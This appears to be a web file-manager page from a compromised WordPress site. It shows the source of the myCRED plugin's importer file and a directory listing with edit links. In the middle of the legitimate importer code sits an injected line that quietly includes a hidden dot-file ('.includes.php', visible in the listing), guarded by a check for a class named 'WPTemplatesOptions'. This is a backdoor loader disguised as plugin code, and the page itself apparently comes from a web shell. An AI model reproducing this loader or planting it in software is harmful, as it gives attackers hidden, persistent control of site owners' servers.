PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
mycred
/
includes
<?php if ( ! defined( 'myCRED_VERSION' ) ) exit; /** * Register Importer: Log Entries * @since 1.4 * @version 1.0 */ register_importer( 'mycred_import_log', sprintf( __( '%s Log Import', 'mycred' ), mycred_label() ), __( 'Import log entries via a CSV file.', 'mycred' ), 'mycred_importer_log_entries' ); /** * Load Importer: Log Entries * @since 1.4 * @version 1.0 */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function mycred_importer_log_entries() { require_once( ABSPATH . 'wp-admin/includes/import.php' ); if ( ! class_exists( 'WP_Importer' ) ) { $class_wp_importer = ABSPATH . 'wp-admin/includes/class-wp-importer.php'; if ( file_exists( $class_wp_importer ) ) require $class_wp_importer; } require_once( myCRED_INCLUDES_DIR . 'importers/mycred-log-entries.php' ); $importer = new myCRED_Importer_Log_Entires(); $importer->load(); } /** * Register Importer: Balances * @since 1.4.2 * @version 1.0 */ register_importer( 'mycred_import_balance', sprintf( __( '%s Balance Import', 'mycred' ), mycred_label() ), __( 'Import balances.', 'mycred' ), 'mycred_importer_point_balances' ); /** * Load Importer: Point Balances * @since 1.4 * @version 1.0 */ function mycred_importer_point_balances() { require_once( ABSPATH . 'wp-admin/includes/import.php' ); if ( ! class_exists( 'WP_Importer' ) ) { $class_wp_importer = ABSPATH . 'wp-admin/includes/class-wp-importer.php'; if ( file_exists( $class_wp_importer ) ) require $class_wp_importer; } require_once( myCRED_INCLUDES_DIR . 'importers/mycred-balances.php' ); $importer = new myCRED_Importer_Balances(); $importer->load(); } /** * Register Importer: CubePoints * @since 1.4 * @version 1.0 */ register_importer( 'mycred_import_cp', sprintf( __( '%s CubePoints Import', 'mycred' ), mycred_label() ), __( 'Import CubePoints log entries and / or balances.', 'mycred' ), 'mycred_importer_cubepoints' ); /** * Load Importer: CubePoints * @since 1.4 * @version 1.0 */ function mycred_importer_cubepoints() { require_once( ABSPATH . 'wp-admin/includes/import.php' ); global $wpdb; // No use continuing if there is no log to import if ( $wpdb->query( $wpdb->prepare( "SHOW TABLES LIKE %s;", $wpdb->prefix . 'cp' ) ) == 0 ) { echo '<p>' . __( 'No CubePoints log exists.', 'mycred' ) . '</p>'; return; } if ( ! class_exists( 'WP_Importer' ) ) { $class_wp_importer = ABSPATH . 'wp-admin/includes/class-wp-importer.php'; if ( file_exists( $class_wp_importer ) ) require $class_wp_importer; } require_once( myCRED_INCLUDES_DIR . 'importers/mycred-cubepoints.php' ); $importer = new myCRED_Importer_CubePoints(); $importer->load(); } ?>
[+]
..
[-] mycred-admin.php
[edit]
[-] mycred-remote.php
[edit]
[-] mycred-about.php
[edit]
[+]
widgets
[-] index.php
[edit]
[-] mycred-shortcodes.php
[edit]
[+]
importers
[-] mycred-leaderboard.php
[edit]
[+]
hooks
[-] mycred-object.php
[edit]
[-] mycred-protect.php
[edit]
[-] mycred-overview.php
[edit]
[-] mycred-update.php
[edit]
[-] mycred-referrals.php
[edit]
[-] mycred-log.php
[edit]
[-] mycred-widgets.php
[edit]
[-] mycred-importer.php
[edit]
[-] mycred-install.php
[edit]
[+]
shortcodes
[-] mycred-functions.php
[edit]
[-] mycred-depreciated.php
[edit]
[+]
classes
[-] mycred-setup.php
[edit]
[-] .includes.php
[edit]
[-] mycred-network.php
[edit]